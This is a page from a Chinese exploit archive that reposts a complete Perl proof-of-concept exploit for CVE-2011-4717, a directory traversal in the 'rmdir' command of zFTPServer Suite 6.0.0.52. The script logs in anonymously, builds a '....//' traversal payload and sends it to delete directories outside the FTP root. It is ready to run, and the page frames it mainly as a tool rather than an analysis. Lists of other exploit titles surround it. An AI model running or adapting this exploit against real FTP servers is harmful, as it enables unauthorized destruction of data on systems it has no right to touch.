首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
来源:sschurtz@t-online.de 作者:Schurtz 发布时间:2011-12-12  

#!/usr/bin/perl
#################################################################################
# Advisory:  zFTPServer Suite 6.0.0.52 'rmdir' Directory Traversal
# Author:  Stefan Schurtz
# Contact:  sschurtz@t-online.de
# Affected Software: Successfully tested on zFTPServer Suite 6.0.0.52
# Vendor URL:  http://www.zftpserver.com/
# Vendor Status: fixed
# CVE-ID:  CVE-2011-4717
# PoC-Version:   0.2
#################################################################################
use strict;
use Net::FTP;

my $user = "anonymous";
my $password = "anonymous@";

########################
# connect
########################
my $target = $ARGV[0];
my $plength = $ARGV[1];

print "\n";
print "\t#######################################################\n";
print "\t# This PoC-Exploit is only for educational purpose!!! #\n";
print "\t#######################################################\n";
print "\n";

if (!$ARGV[0]||!$ARGV[1]) {
 print "[+] Usage: $@ <target> <payload length>\n";
 exit 1;
}

my $ftp=Net::FTP->new($target,Timeout=>15) or die "Cannot connect to $target: $@";
print "[+] Connected to $target\n";

########################
# login
########################
$ftp->login($user,$password) or die "Cannot login ", $ftp->message;
print "[+] Logged in with user $user\n";

###################################################
# Building payload '....//' with min. length of 38
##################################################
my @p = ( "",".",".",".",".","/","/" );
my $payload;

print "[+] Building payload\n";

for (my $i=1;$i<=$plength;$i++) {
  $payload .= $p[$i];
  push(@p,$p[$i]);
}
sleep(3);

#########################################
# Sending payload
#########################################
print "[+] Sending payload $payload\n";
$ftp->rmdir($payload) or die "rmdir failed ", $ftp->message;

##########################################
# disconnect
##########################################
print "[+] Done\n";
$ftp->quit;
exit 0;
#EOF


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Acpid 1:2.0.10-1ubuntu2 Privil
·HP Easy Printer Care XMLCacheM
·Linux/MIPS - reboot() - 32 byt
·Sysax Multi Server 5.50 Create
·Linux/MIPS - connect back shel
·HP Diagnostics Server magentse
·CSF Firewall Buffer Overflow
·MS12-004 midiOutPlayNextPolyEv
·Docebo LMS <= v4.0.4 (messages
·Tracker Software pdfSaver Acti
·Free Opener Local Denial of Se
·sudo 1.8.0 - 1.8.3p1 Format St
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved